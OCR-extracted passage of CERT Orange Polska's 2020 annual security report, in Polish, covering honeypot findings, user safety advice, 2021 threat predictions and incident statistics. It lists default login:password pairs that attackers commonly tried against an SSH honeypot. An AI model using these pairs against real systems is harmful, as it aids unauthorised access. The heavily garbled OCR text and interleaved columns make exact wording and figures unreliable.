w sieci uzytkownika jest juz zainfekowane (wtedy TrickBot e 100 DanaBot
wys$wietlana jest dedykowana temu zagrozeniu strona, 2 50 SHIShING
na ktorej uzytkownik dostaje rekomendacije sposobu -0 0
usuniecia zagrozenia). W 2020 roku przeprowadzilismy

100 1000 10000 100 000 1000 000

w CyberTarczy tagcznie 290 kampanii informujgcych
o infekcjach i zagrozeniach, i objeliSmy nimi
ponad 61 000 naszych uzytkownikow.

Uwaga!

Dia Twojego bezpieczeristwa tymczasowo zablokowaliémy Twoj dostep do sieci, by nie narazac: Cig na

niepotrzebne ryzyko. Zanim naciéniesz przycisk "Odblokuj dostgp do internetu® na dole strony przeczytaj
dokladnie ponizsza instrukcje oraz Sciagnij zalaczony plik PDF.

Praycisk "Odbloku] dostep do internetu” znajdziesz na dole strony

DanaBot Necurs
4% 2%

Andro-
meda 2%

Zgodrie 2 informacjami Lzyskanymi pezez CyberTarczg Orange, jedno lub wieoe] urzadzed w Twojej domowej siec usihe polaciyt sie 2 serwererm oprogramowania

zZnanego pod nazwa Virut. Jest to Instalujce st na przy wejsciu na tylne drzwt, co
umatiiwia instalaci keleinyeh zlodlvych kerrponentaw,
W calu usuniecia zagrotenia wykonaj cizen, do Twolel sieci domawe], korzystajac z rekomendowanege dia
tege Arcabit
Wejdz na strong skae pabrany Zostaly opisane w
pliku PDF.

informacie o bozp ) ajs tp ge.pl w sekcji Baza wiedzy.

Jedli otrzymales podejrzany e-mail, wyslij go do nas - certopl@orange.com, bydziemy mogli lepiej Cie chronié.

Informacje o zagrozeniu

WYSWIETL SICZEGOLY TECHNICING o

Nie mozna wyswietli¢ szczegolow zagrodenia

‘ [2) Sciagnij na dysk instrukeje w PDF, by mieé ja zawsze pod reka.
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Liczba klientow z zagrozeniem

W sieci Orange, do identyfikacji atakéw i zagrozen, uzywamy
tez honeypotdéw. Sg to fatszywe serwery, udajgce aktywne

i stabo zabezpieczone ustugi internetowe. A dzieki temu,

ze CERT ma caly czas nad nimi petna kontrole, mozemy
obserwowac zarowno zrddta atakéw na te ustugi, jak

i techniki, ktorymi postuguja sie atakujacy. Zrodta atakow
wygladajg nastepujaco:

Zrédia atakéw

© OpenStreetiap
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Dominujg Chiny, Stany Zjednoczone i Rosja. Nalezy pamietac,
ze duzy udziat Standw Zjednoczonych wynika gtéwnie

z lokalizacji w tym kraju duzych dostawcow ustug chmurowych.
W przypadku pozostatych dwdch panstw, obserwujemy

na naszych honeypot’ach ataki pochodzace z sieci duzych
ISP. Najczesciej wystepujacy typ ataku to atak brute force

na konta administratorskie. Ponizej prezentujemy najczesciej
wykorzystywane pary login - hasto uzywane podczas atakéw
na nasz honeypot udajacy ustuge SSH:

Najczesciej wykorzystywane pary login - hasto
uzywane podczas atakow na nasz honeypot
udajacy ustuge SSH.

test:123456  oracle:11111

ubuntu:ubuntu
user:1

admin:1111 ]
root:default root:admin

root:1111 root:rootadmin:123456 User:user
support:supportroot:123456

root:1234

root:54321admin:password admin:1234
admin:vertex25ektks123
user:1234guest:12345
ftpuser:123456 root:1234qwer

t@St:teStlZgzz:backup
git:123456

admin:7ujMkoOadmin

Niestety, nie przed wszystkimi zagrozeniami mozemy
uzytkownikéw ochroni¢. Na przyktad ostatnio popularne
stato sie oszustwo z instalacjg oprogramowania
umozliwiajgcego zdalny dostep do komputera uzytkownika.
Mechanizm oszustwa wyglada tak: bazujgc na informacjach
skradzionych z jednej z gietd kryptowalutowych oszusci
kontaktujg sie z uzytkownikiem i proponujg mu ,wspaniatg”
inwestycje. W trakcie finalizowania transakcji okazuje sie
jednak, ze wystepujg nieprzewidziane trudnosci, ale oszust
oczywiscie pomoze je przezwyciezy¢. W tym celu niezbedne
okazuje sie najpierw zainstalowanie oprogramowania
zdalnego dostepu, a nastepnie zalogowanie na konto
bankowe Iub portfel bitcoinowy. | w tym wtasnie momencie,
na oczach uzytkownika oszust dokonuje kradziezy.

Mechanizmami CyberTarczy wykrywamy nie tylko strony
phishingowe i ztosliwe oprogramowanie, ale tez szereg
typowych podatnosci narazajgcych klientow na ré6znego
rodzaju ataki. Jedna z takich podatnosci jest wigczona
na urzadzeniu funkcja Web Proxy Auto Discovery
(WPAD - w systemie Windows odpowiada za to
uruchomiona ,,Ustuga autowykrywania serwera proxy

w sieci Web WIinHTTP”), ktéra pozwala systemowi
operacyjnemu lub aplikacjom na automatyczne
wykrywanie i konfigurowanie serwera proxy. Natomiast
atakujgcym pozwala na podstuchiwanie ruchu sieciowego
(czesciowo rowniez tego szyfrowanego), a w niektorych
przypadkach takze przejecie logindw i haset do ustug
sieciowych.
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~admin:54321admin:WinldoW$ root:aquario

admin:admin1234 root:12345

oracle:123456user:1234

mysqgl:mysql
23admin:pass
er:ftpuser
root:888888 admin:meinsm

postgres:postagres admin:ubnt

oracle:oracl

22:admin fto

admin:&

demo:demo
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Innymi czesto wykrywanymi podatnosciami sg dostepne

z internetu niezabezpieczone serwery DNS i NTP, ktére
moga zosta¢ wykorzystane do przeprowadzania atakéw
Reflected DDoS na inne urzadzenia w Internecie. Jesli
ustugi te zostang faktycznie wykorzystane w atakach DDoS,
ich wiascicielom groza co najmniej czasowe ograniczenia
w dostepie do Internetu (ze wzgledu na bezpieczenstwo
sieci Internet) lub nawet konsekwencje prawne.

Podobnie duzym zagrozeniem sg dostepne z Internetu
panele logowania do urzadzen, ktore uzytkownicy
podtaczyli do swoich sieci (modemy, routery, drukarki,
kamerki, urzadzenia inteligentnego domu itp.). Widoczny
w Internecie panel administracyjny jest zachetg dla
atakujgcego i moze skutkowaé nieautoryzowanym
dostepem do urzadzenia, a w konsekwencji otwiera
atakujgcemu mozliwos$¢ dostania sie do innych
podtgczonych do sieci urzadzen, i w efekcie przejecia
i wykorzystania wrazliwych danych lub instalaciji
ztosliwego oprogramowania.

Do uzytkownikéw, u ktérych CyberTarcza wykrywa tego
rodzaju podatnosci systematycznie kierujemy kampanie
informacyjne, w ktérych przedstawiamy réwniez sposoby
na wyeliminowanie tych podatnosci. Oczywiscie nie
mozemy wykluczyé, ze podatnosci te sg pozostawione
celowo i uzytkownik jest w petni Swiadomy ich istnienia,
jednak z naszego doswiadczenia wynika, ze takich
uzytkownikow jest niewielka liczba. Zdecydowanie

wiecej razy w CERT spotykamy sie z sytuacja,

w ktorej uzytkownik nie wie o tych podatnosciach

i mozliwych konsekwencjach ich wykorzystania
przez atakujgcych. W 2020 roku przeprowadzili§my
34 tego typu kampanie i skierowaliSmy je do okoto
30 000 uzytkownikdw.

| na koniec kilka porad.

Jesli je wykorzystacie,
przestepcom bedzie trudniej
Was okrasc¢

Nie wchodzcie na strony, ktére zbyt wiele obiecuja.
Sprawdzajcie adresy stron, ktére odwiedzacie. Pamigtajcie,
ze ktédka przy adresie strony nie jest niestety zadnym
potwierdzeniem wiarygodnosci tej strony i przed niczym
Was nie ochroni.

Zachowajcie wzmozong czujno$é przy otwieraniu maili,
ktérych nie spodziewacie sie otrzymac. Nie otwierajcie
zatgcznikdw, ktorych nie oczekuijecie, nie klikajcie

na linki w podejrzanych mailach i SMS-ach.

W przypadku ustug bankowych, urzedowych, zdrowotnych,
kurierskich — nie korzystajcie z linkéw podestanych

w mailach lub SMS-ach. Zawsze wpisujcie adres strony,
ktérg chcecie odwiedzi¢ bezposrednio w przegladarce

i weryfikujcie jej certyfikat.

Nie podawajcie nikomu kodéw BLIK. Szczegdlnie, jezeli
prosi o to za posrednictwem medidw spotecznosciowych
lub komunikatorow. Jezeli kto$ Was prosi, pod jakims
pretekstem, o podanie takiego kodu, zweryfikujcie
natychmiast innym kanatem kontaktu (np. w bezposredniej
rozmowie telefonicznej) czy na pewno ta osoba o to prosita.
Wytudzanie koddw BLIK to znane i powszechne oszustwo,
w ktérym straci¢ mozna duzo pieniedzy.

Nie klikajcie w sensacyjne reklamy i bannery. Uwazajcie
na kampanie reklamowe, szczegdlnie w mediach
spotecznosciowych.

Jesli korzystacie z portali aukcyjnych, ogtoszeniowych,
sklepow internetowych o niewielkim zasiegu - uwazajcie
na pozornie atrakcyjne oferty. Weryfikujcie sprzedawcow,
kupujacych i proponowane sposoby dokonania transakciji.
Pamietajcie, ze nawet pozytywne komentarze moga by¢
sfatszowane. Korzystajcie z wiarygodnych Zrédet informaciji
o ofertach i sprzedawcach. Sprawdzajcie sklepy, w ktérych
chcecie dokonac¢ zakupow.

Szanujcie swoje loginy, hasta, PINy. Nie udostepniajcie
zdje¢ swoich dokumentéw i kart ptatniczych. Regularnie
sprawdzajcie, czy Wasze dane nie znalazty sie w jakichs
wyciekach (https://haveibeenpwned.com). Jesli mieliscie
pecha, i Wasze dane sg w wyciekach, zmiencie jak
najszybciej wszystkie hasta do serwisow, w ktérych
mielicie login i hasto podobne do tych w wycieku.
Stosuijcie diugie hasta, unikalne w kazdym z serwisow.
Uzywaijcie managerow haset. Stosujcie uwierzytelnianie
wielosktadnikowe (2FA).

Nie instalujcie zadnych aplikacji z niepewnych

zrédet. Nie instalujcie na telefonach aplikacji nie
pochodzacych z oficjalnych sklepéw (Google Play,
Apple Store). Nie instalujcie na komputerach aplikaciji
czy sterownikdw nie pochodzgcych z oficjalnych stron
producentéw i dostawcow. Omijajcie repozytoria
oprogramowania, ktérych dobrej reputacji nie jestescie
w stanie potwierdzi¢. Kierujcie sie raczej w strone
oficjalnych katalogédw producentéw oprogramowania
lub sprzetu.

Korzystajcie z regularnie aktualizowanych urzadzen.
Instalujcie na biezaco poprawki bezpieczenstwa
udostepniane przez producentéw urzadzen.

Jezeli urzadzenie wychodzi z oficjalnego wsparcia
producenta, zastanéwcie sie nad jego wymiang

na nowsze, supportowane.

Jezeli korzystacie z urzagdzen loT lub inteligentnego
domu, bezwzglednie wytaczcie w nich dostep

do panelu administracyjnego z Internetu. Zmiencie hasta
administracyjne (i loginy, jesli to mozliwe) na inne,
niestandardowe i nieoczywiste. Wytaczcie na tych
urzadzeniach wszystkie ustugi, ktore nie sa

Wam potrzebne.

Starajcie sie unika¢ urzadzen producentdéw egzotycznych,
nieznanych szerzej producentéw. By¢ moze bywajg

one tansze, niz analogiczne urzadzenia renomowanych
producentéw, ale bywajg réwniez no$nikami ztosliwego
oprogramowania. Raczej tez nie powinniscie spodziewaé
sie satysfakcjonujgcego wsparcia technicznego

ze strony matych, egzotycznych producentow.

Zastanowcie sie, czy na pewno musicie rejestrowad

sie (i podawac¢ prawdziwe dane) w kazdym napotkanym
serwisie internetowym. Zastanowcie sie, czy musicie
zaktadaé konta w kazdym sklepie internetowym,

w ktorym dokonujecie zakupow — jesli to zakup
jednorazowy, moze warto zrobi¢ go bez rejestracii?
Mozliwe, ze nieco utrudni to zycie sklepom, ale by¢
moze Was uchroni przed potencjalnym

wyciekiem danych?

Jezeli korzystacie z modemow/routeréw dostepowych,
ktore wyszty juz z okresu wsparcia producenta,
zastanéwcie sie nad mozliwoscia zainstalowania

na nim sprawdzonego, alternatywnego oprogramowania
OpenSource, np. OpenWRT. Zawsze wytgczajcie
dostep do panelu administracyjnego z Internetu.
Zawsze wytgczajcie niepotrzebne, nadmiarowe ustugi.

Zagladajcie regularnie na strone https://cert.orange.pl/

Szczegdtowe rozwiniecie wybranych definicji znajduje
sie w Glosariuszu.

Witold Tujko
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Komentarz Partnera:

Przemystaw Jaroszewski

Kierownik Zespotu CERT Polska, dziatajacego

w NASK Panstwowym Instytucie Badawczym.

Z wyksztatcenia programista i psycholog spoteczny.
Ma ponad 20 lat doswiadczenia w bezpieczenstwie
teleinformatycznym i analizie incydentow.

W swojej karierze zaangazowany byt w wiele
krajowych i miedzynarodowych projektow
zwiazanych ze wspotpraca zespotoéw reagujacych
oraz wymiana danych.

Wspotautor materiatéw szkoleniowych oraz trener
w programach dla zespotéw reagujacych,

m.in. TRANSITS oraz ENISA CERT Exercises.

Jest aktywny w wielu miedzynarodowych grupach
operacyjnych, takich jak FIRST, TF-CSIRT

czy Antiphishing Working Group. Byt wybranym
cztonkiem Komitetu Sterujacego TF-CSIRT

w latach 2008-2013.

W 2020 roku zostaliémy zmuszeni do przeniesienia
przewazajacej czesci naszych aktywnosci do $wiata
online. Firmy wdrazaty lub upowszechniaty wsréd
pracownikéw narzedzia do wspétpracy, zdalnego dostepu
i wideokonferenciji. Wiele oséb odkrywato takie ustugi

jak Profil Zaufany, ePUAP czy e-zdrowie i uczyto

sie zdalnego zatatwiania spraw urzedowych.

W handlu na sukces mogty liczy¢ te firmy, ktdre posiadaty
(lub szybko zbudowaly) e-sklepy z cyfrowg oferta,
ptatnosciami online i wysytkag kurierem. Nawet dzieci

nie omineta przyspieszona cyfryzacja, gdy fizyczne klasy
zastgpione zostaty przez platformy e-learningowe,

a zamiast biegania po korytarzach pozostaty zarty

z kolegami przy wideorozmowie i wspdlne gry na konsoli.
Dla wiekszosci z nas wszystkie te doswiadczenia

(a juz na pewno ich skala) byty w jakiej$ czesci nowe.
Towarzyszyta im ponadto niepewno$¢ co do sytuacji

w kraju i na Swiecie. W konsekwencji, wiele dziatar
podejmowali$my pod wpltywem emocji, przy braku

petnej informaciji.

Niestety, sg to doskonate okolicznosci do tego,
aby pas¢ ofiarg oszustwa. Przestepcy bardzo szybko
zdali sobie z tego sprawe i nie mieli zadnych skruputéw,

aby te okolicznosci wykorzystac.

Juz na poczatku pandemii CERT Polska z niepokojem
obserwowat rosnaca liczbe zgtoszer kampanii
SMS-owych oraz e-mailowych, w ktérych komunikat
wzywat do dokonania ,,optaty za dezynfekcje przesytki”
czy ,doptaty covidowej”. Przestepcy podawali sie takze
za banki czy organy administracji, informujac o rzekomym
zajeciu $rodkéw na rzecz walki z epidemig i koniecznosci
zalogowania sie do rachunku celem ich odblokowania.
Uzytkownicy, ktorzy ulegli przekazowi, kierowani byl

na fatszywe formularze logowania lub bramki ptatnosci
internetowych, a w konsekwenciji z ich rachunkéw znikaty
znaczace kwoty.

Problem dostrzezony zostat takze przez operatoréw
telefonii komérkowej, ktdrzy wspodlnie z Ministerstwem
Cyfryzaciji, UKE i NASK Panstwowym Instytutem
Badawczym postanowili poszukaé skutecznych metod
ochrony uzytkownikéw. W efekcie porozumienia

tych podmiotéw, NASK PIB podijat sie utrzymywania
slisty ostrzezen” — publicznego wykazu domen
internetowych stuzacych do wytudzen. Operatorzy

za$ zobowigzali sie do blokowania potgczen do takich
domen. Podstawg dziatania mechanizmu sg zgtoszenia
otrzymywane od operatoréw lub indywidualnych
uzytkownikéw (https://incydent.cert.pl/domena),

ktére nastepnie weryfikowane sa przez operatoréow
CERT Polska. Jesli domena zostanie jednoznacznie
uznana za wykorzystywana do kradziezy i wytudzen,
umieszczana jest na liScie, dostepnej publicznie w wielu
formatach i gotowej do zastosowania w réznych
technologiach. Gdy wiec uzytkownik kliknie odno$nik

z fatszywej wiadomosci SMS lub email, moze zosta¢
przekierowany na strone z odpowiednim ostrzezeniem.
Oczywiscie, pod warunkiem, ze jego operator aktywnie
korzysta z listy w swojej infrastrukturze. Warto odnotowac,
ze wérdéd sygnatariuszy porozumienia znalazt sie
Orange Polska, ktory od poczatku dziatania listy
ostrzezen wykorzystuje ja w ustudze CyberTarcza.

Trendy, czyli nasze przewidywania na rok 2021

Nasze zesztoroczne przewidywania zostaty szybko
zweryfikowane przez pandemieg i globalny lockdown.
W przypadku tak wielkich zmian i prébach szybkiego
dostosowania sie do nowych - dla czesci przedsiebiorstw
nieznanych - standardéw pracy, zmianie ulegty réwniez
techniki wykorzystywane przez cyberprzestepcow.

Z zesztorocznych przewidywan sprawdzit sie

na pewno smishing, ktéry obok malspamu byt stale
wykorzystywanym wektorem ataku na uzytkownikéw
indywidualnych. W tym miejscu nalezy zwréci¢ uwage,
ze przestepcy znacznie chetniej korzystali z social
medioéw oraz komunikatoréw internetowych

do dystrybuowania ztosliwych tresci. Innym, réwnie
celnym punktem byty ataki na ustugi i rozwigzania
bazujgce na otwartej bankowosci. Mobilne bankery
wykorzystywaly stabosci w aplikacjach mobilnych

i byty zmorg zaréwno klientéw, jak i pracownikéw
sektora bankowego.

Nasze doswiadczenia i obserwacje

w ubiegtym roku pozwalaja

nam na okreslenie ponizszych trendéw
na rok 2021.

1.  Wzrost udziatu (w ogdlnej liczbie zagrozen)
ztosliwych aplikacji mobilnych (w tym tzw. bankerow),
ale takze obstawiamy wciaz znaczacy udziat malware
RAT w sieci urzadzen stacjonarnych. W obydwu
obszarach, zagrozenia sa $cisle powiazane
z atakami socjotechnicznymi.

2. Wiecej atakéw typu vishing, réwniez
z wykorzystaniem Caller ID spoofingu.

3. Wozrost liczby atakéw typu smishing.

4. Wzrost liczby atakéw phishingowych
z wykorzystaniem serwiséw spotecznosciowych
oraz komunikatoréw internetowych.

5. Utrzyma sie skala atakéw socjotechnicznych,
zwigzanych ze zdalnym dostepem do zasobdw
firmowych, nakfaniajacych do wykorzystywania
np. spreparowanego oprogramowania zawierajgcego
backdoory. Trend szczegdlnie wyrazny w czasie
pandemii, gdzie moga tak naprawde wystapic¢
rézne wektory ataku, réwniez proby pozyskania
danych do konta firmowego.

6. Utrzyma sie duzy udziat malvertismentu w atakach.
Przewidujemy, ze rok 2021 nie zmieni tego trendu
mimo zmian w technikach ataku (wykorzystanie
exploit kitéw na rzecz atakéw phishingowych).

10.

12.

13.

Liczba etapow kampanii phishingowych oraz poziom
ich skomplikowania moze ulec zmianie utrudniajgc
skuteczng detekcje atakow.

Spodziewamy sie kolejnych rekordéw w atakach
DDoS.

Zwiekszy sie skala kradziezy portfeli kryptowalut.

Utrzymaja sie ataki na “sztuczng inteligencje”

w dwdch obszarach: zarbwno w obszarze jej
»etycznego” wykorzystywania (np. w inteligentnych
domach czy pojazdach), ale réwniez tej
wykorzystywanej do przeciwdziatania zagrozeniom.

. Utrzyma sie wysoka skala préb wytudzenia informacji

ptatniczych (web skimming). Proceder ten mozna
poréwnaé do kradziezy danych z kart ptatniczych
w klasycznym ataku typu skimming.

Bedzie sie skracat czas trwania atakoéw
phishingowych do kilkunastu lub nawet kilku minut
na kampanie.

Duzy udziat ransomware w atakach na firmy oraz
uzytkownikéw indywidualnych.

Zespot CERT Orange Polska
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nie brakuje wpadek (por. Pracownik przez 2 godziny
streamowat dane klientéw do internetu).
Pracownicy zostali pod tym katem przeszkoleni.

Komentarz Partnera:

Czy rok 2021 przyniesie nowe zagrozenia? Poki co

raczej nic na to nie wskazuje, bo niezmiennie mamy

do czynienia z tymi samymi technikami ataku: phishing
e-mailem albo SMS-em ,,na doptate”. Teraz tylko czesciej
za ,,dezynfekcje” niz przekroczenie wagi przesytki.
Zreszta nie ma sie co dziwi¢ — przy zamknietych sklepach
wszystko zamawiamy przez internet wiec niemalze stale
czekamy na jakies$ przesytki. Innymi stowy, rzadzi — i moim
zdaniem jeszcze dtugo rzgdzi¢ bedzie — socjotechnika,

a przestepcy zdajg sie wychodzi¢ z tego samego
zatozenia co administratorzy systemow.

Dziata? To nie dotykaj. Smutna prawda jest taka,

ze nie brakuje nowych ofiar, ktére tym réznig sie

od ,starszych” ofiar, ze od matego dorastaty

z internetem i technologia.

Piotr Konieczny

Szef zespotu bezpieczenstwa niebezpiecznik.pl,
firmy zajmujacej sie wlamywaniem na serwery
innych firm za ich zgoda, w celu namierzenia
btedoéw bezpieczenstwa w ich infrastrukturze
teleinformatycznej, zanim zrobia to prawdziwi

A mimo to tapig sie na te same, znane od lat numery.
Przyktadem niech bedzie modny ostatnio atak

na sprzedajacych na OLX, gdzie oszust prosi

o podanie numery karty pfatniczej po to, aby sprzedajacy
wiamywacze. mogt otrzymaé pieniadze za sprzedany towar.

Ciezko uwierzy¢ w to, ze tak wiele osdb nie widzi

w tej prosbie niczego podejrzanego, ze nie czyta

(ze zrozumieniem) tresci autoryzujgcego transakcje
powiadomienia. Banki wcigz maja na polu edukaciji
klientéw wiele do zrobienia, zwtaszcza ze nowe
pokolenie karty ptatnicze traktuje jako zwykte narzedzie.
I nie poczuwajg sie do jakiejkolwiek odpowiedzialnosci
za bezpieczenstwo tego narzedzia. Ma dziataé.

~Ptace, zadam”. Zastanawiam sie, czy to faktycznie

jest zte podejscie? Chyba nie mozemy oczekiwaé

od kazdego, ze bedzie ,ekspertem” od bezpieczenstwa.
A moze mozemy i powinnismy?

Rok 2020 z jednej strony pokazat, ze jako spoteczenstwo
nie jesteSmy zbyt dobrzy w szacowaniu ryzyka, ale

z drugiej strony dokonat olbrzymiej transformacji
cyfrowej. Takze w konteks$cie dziatéw bezpieczenstwa.

O ile praca zdalna w naszej branzy nie byta nowoscig,

to przymusowe i niemalze catkowite przejScie na ten
model pracy dla niektérych firm okazato sie by¢ sporym
wyzwaniem. Popetniono duzo bteddw i zaakceptowano
sporo godzacych w bezpieczenstwo kompromisow.

Bolato. Czymze jednak jest nieprzyzwoite poluzowanie
regut na firewallu czy zezwolenie na wykorzystanie
prywatnych urzadzen do celéw stuzbowych -- wbrew
firmowej polityce bezpieczenstwa -- kiedy firma stoi
nad przepascig?

Mysle, ze jako branza jeszcze nigdy tak szybko

nie nauczyli$my sie tak wiele. Niektorzy z nas ze wstydem,
wbrew wszelkim zasadom przymykali oko na procesy

i zachowania, ktére jeszcze przed marcem 2020 wydawaty
sie by¢ catkowicie nie do zaakceptowania. Inni cieszyli

sie z budzetdéw, ktére nagle, niespodziewanie, sie pojawity.
Na sprzet, na oprogramowanie. Reszta nie miata czasu

ani na przymykanie oka, ani na rados$¢, bo pracowata
ponad sity, aby po prostu przetrwac.

Praktyka bolesnie spotkata sie z teorig, a terminalnym
zagrozeniem koniec koricdéw okazaty sie nie
cyberprzestepcze gangi, a braki w dywersyfikacji
biznesu, diug technologiczny i nieprzewidywalno$é

Mechanizmami CyberTarczy wykrywamy
tego, co stanie sie jutro. O ile ci, ktérzy czytaja ten raport nie tyl ko Strony phiShingowe i Z'OSIiwe

zapewne juz poradzili sobie z dwoma pierwszymi
~przeciwnikami” losu, to nieprzewidywalnos$¢

chyba jeszcze bedzie nam wszystkim troche towarzyszyé.
Wydaje mi sie, ze na prace zdalng, w bezpiecznym
wydaniu, jestesmy juz gotowi, cho¢ oczywiscie

oprogramowanie, ale tez szereg typowych
podatnosci narazajacych klientow na roznego
rodzaju ataki.
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Incydenty bezpieczenstwa obstuzone
przez CERT Orange Polska
Rozktad procentowy incydentow bezpieczenstwa obstuzonych przez nas

w sposob nieautomatyczny w roku 2020. Incydenty dotycza ustugowych
sieci internetowych, a analizy gtdwnie podziatu na kategorie oraz poréwnan

z ubiegtym rokiem.

Przypadki dotyczyly, zarédwno sytuacji ataku na zasoby
dotgczone do sieci Orange Polska, jak i z nich
prowadzonych. Pod uwage wzieto takze rodzaje sieci
z punktu widzenia uzytkownikéw indywidualnych, jak

i podmiotéw korporacyjnych.

Informacje o incydentach pochodzity zaréwno

sie bezpieczenstwem, czy innych jednostek CERT.
Wiasne systemy bezpieczenstwa to m. in. systemy
wykrywania i zapobiegania wtamaniom (IDS/IPS),
analizatory przeptywow sieciowych (flows) pod katem
atakéw DDoS oraz ztosliwych kodow, putapki sieciowe
(honeypot), systemy zarzadzania informacjg zwigzang

ze zrédet zewnetrznych, jak i wewnetrznych systemow

bezpieczenstwa. Zewnetrzne zrodta informaciji
to przede wszystkim zgtoszenia od uzytkownikéw,
informacje pochodzace od organizacji zajmujacych

Stosowana przez nas klasyfikacja obejmuje wszelkie
typy zdarzen zgtaszanych i obstugiwanych przez zespoty
typu CSIRT/CERT. Kategorie oparte sg na typie i skutku

Kategorie obstugiwanych incydentow:

Kategoria incydentu

Opis oraz przyktady zdarzen

z bezpieczenstwem i zdarzeniami (SIEM), CTI, DNS/IP sinkhole.

Obrazliwe
i nielegalne tresci

Rozpowszechnianie niebezpiecznych i zabronionych prawem tresci (np. rozsytanie spa-
mu, dystrybucja/udostepnianie materiatéw chronionych prawem autorskim - piractwo/
plagiat, pornografia dziecieca) oraz rozpowszechnianie tresci obrazliwych/grézb i innych
zwigzanych z naruszeniem zasad i regut w sieci internet.

Ztosliwe
oprogramowanie

Infekcje i rozpowszechnianie ztosliwego oprogramowania (np. hostowanie C&C,
ztosliwe oprogramowanie w zatgczniku wiadomosci lub link do skompromitowanego
adresu URL).

Gromadzenie informacji

Podejmowanie dziatarh majgcych na celu uzyskanie informacji o systemie lub sieci,
badz ich uzytkownikach, zmierzajgcych do nieautoryzowanego dostepu

(np. skano-wanie portéw, podstuch, inzynieria spoteczna/phishing — w tym
rozpowszechnianie maili phishingowych, hostowanie stron phishingowych).

Préby wiaman

Préby uzyskania nieautoryzowanego dostepu do systemu lub sieci (np. wielokrotne
nieuprawnione logowania, préby naruszenia systemu lub zaktécania funkcjonowania
ustug przez wykorzystywanie podatnosci).

Wiamania sieciowe

Uzyskanie nieautoryzowanego dostepu do systemu lub sieci, tj. wtargniecie,
naruszenie systemu/przetamanie zabezpieczen (np. poprzez wykorzystanie znanych
podatnosci systemu), kompromitacja konta.

Dostepnos$é zasobdéw

Blokowanie dostepnosci zasobéw sieciowych (systemu, danych), m. in. poprzez wysytanie
duzej ilosci danych, ktére skutkuje odmowa swiadczenia ustug (ataki typu DDoS).

Poufnos¢ i integralno$é
informaciji

Naruszenie poufnosci lub integralnosci informacii, najczesciej w efekcie
wczesniejszego przejecia systemu lub przechwycenia danych podczas transmissji
(np. przechwycenie i/lub udostepnienie okreslonego zbioru informacji, zniszczenie
lub modyfikacja danych w okreslonym zbiorze informacji).

Oszustwa sieciowe

Czerpanie korzysci z nieuprawnionego wykorzystania zasobéw sieciowych (informacji,
systemu) badz ich uzycie niezgodne z przeznaczeniem (np. uzycie nazwy organizaciji
bez pozwolenia czy uzycie zasobéw organizaciji w celach pozastatutowych).

Inne

Zdarzenia, ktére nie mieszcza sie w wymienionych kategoriach.

26

celu. W praktyce w analizowanych incydentach
uzywano zazwyczaj wielu metod i technik prowadzacych
do osiggniecia okreslonego skutku, gtéwnie zwigzanych
z uzyciem ztosliwego oprogramowania.

dziatar naruszajacych bezpieczenstwo, zwigzanych
z procesem ataku na system teleinformatyczny i jego
wykorzystaniem. Podziat taki przydatny jest gtéwnie
w dziataniach operacyjnych, pod katem osiggnietego

Rozktad procentowy kategorii incydentéw obstuzonych przez CERT Orange Polska w 2020 roku

Gromadzenie informacji
Ztosliwe oprogramowanie
Dostepnos$¢ zasobow
Obrazliwe i nielegalne tresci
Poufnos¢ i integralnos¢ informaciji
25% Préoby wiaman

1%

19,7% Oszustwa sieciowe
3,9% 3,3% 00,
° 0,2%

Wiamania sieciowe
Rozktad procentowy kategorii incydentéow obstuzonych przez CERT Orange Polska w 2020 roku
i poréwnanie z rokiem 2019
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Wsréd obstuzonych incydentow, najwiekszg grupe
stanowity te z klasy gromadzenie informacji (34,8 proc.).

W poréwnaniu z rokiem 2019 nastgpit nieznaczny spadek
- o ponad 5 pp. (40,5 proc. w 2019 r.). Na drugim miejscu
znalazty sie incydenty z kategorii ztosliwe oprogramowanie
(25 proc.) — znaczny wzrost do ubiegtego roku (11,3 proc.

i trzecia pozycja w roku 2019). Kolejne miejsce to ataki

na dostepnosé zasobdw (19,7 proc.) - na poziomie
zblizonym do ubiegtego roku (20,9 proc. w 2019 r.),

incydenty z grupy obrazliwych i nielegalnych tresci

(11 proc.) — znaczny spadek w stosunku do poprzedniego
roku o 6,8 pp., poufnos¢ i integralno$¢ informaciji

(3,9 proc.) — podobnie jak w ubiegtym roku, préby wtaman
(3,3 proc.) - podobnie jak w ubiegtym roku, oszustwa
sieciowe (2 proc.) - podobnie jak w ubiegtym roku.
Ponizej 1 proc. zaklasyfikowano wtamania sieciowe.

Inne, nieobjete wspomnianymi kategoriami, stanowity
nieznaczny odsetek obstuzonych incydentow.

Rozktad miesieczny incydentéw w 2020 r. z podziatem na kategorie
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Rozktad w czasie wystepowania incydentéw w 2020 r.
nie jest regularny. Przede wszystkim mozna zauwazyé
znaczny wzrost liczby obstugiwanych incydentéw w maju
oraz czerwcu. Wzrost ten spowodowany byt zwiekszong
liczbg przypadkéw kampanii phishingowych i ztosliwego
oprogramowania, zwigzanych z fatszywymi fakturami,
podszywajacymi sie pod rézne firmy (w tym pod Orange).

Gromadzenie informaciji

Incydenty z kategorii ,gromadzenie informac;ji” stanowity
najliczniejsza grupa obstuzonych w 2020 r. (34,8 proc.
wszystkich). Na grupe tych incydentéw skfadajg sie przede
wszystkim przypadki phishingu oraz skanowania portow.
Tego typu zagrozenia to w wiekszos$ci przypadkow

istotny element bardziej zaawansowanych atakéw,
majgcych na celu kradziez informacji czy oszustw
finansowych. Na przestrzeni roku najwiecej przypadkéw

w tej kategorii wystgpito w styczniu oraz pazdzierniku.

Ztosliwe oprogramowanie

Na klase incydentéw ,,ztosliwe oprogramowanie” sktadajg
sie przede wszystkim przypadki infekcji (m. in. infekcji
ztosliwym oprogramowaniem typu ransomware,

trojan), dystrybuciji ztosliwego oprogramowania (w tym

m. in. ztosliwe oprogramowanie w zataczniku wiadomosci,
hostowanie ztosliwych stron czy hostowania serweréw
Command&Control (C&C) kontrolujgcych zdalnie sie¢
zainfekowanych komputeréw. Incydentéw o takiej
charakterystyce byto 25 proc. wszystkich obstuzonych

w roku 2020, zas najwiecej przypadkéw w tej kategorii
wystgpito w maju oraz czerwcu. Spowodowane byto

to zwiekszong liczbg kampanii ztosliwego oprogramowania
(ztosliwe oprogramowanie jako zatacznik badz link
prowadzacy do ztosliwego URL), zwigzanych z fatszywymi
fakturami. W praktyce w wiekszosci analizowanych
incydentow, cyberprzestepcy zamierzony cel osiggneli
przy uzyciu ztosliwego oprogramowania, dlatego temu
zagrozeniu po$wiecona jest odrebna czes$¢ raportu.

Dostepnos$¢ zasoboéw

Na klase incydentéw ,,dostepnos¢ zasobdw” sktadajg
sie przede wszystkim przypadki atakéw typu Distributed
Denial of Service (DDoS). Incydentéw o takiej
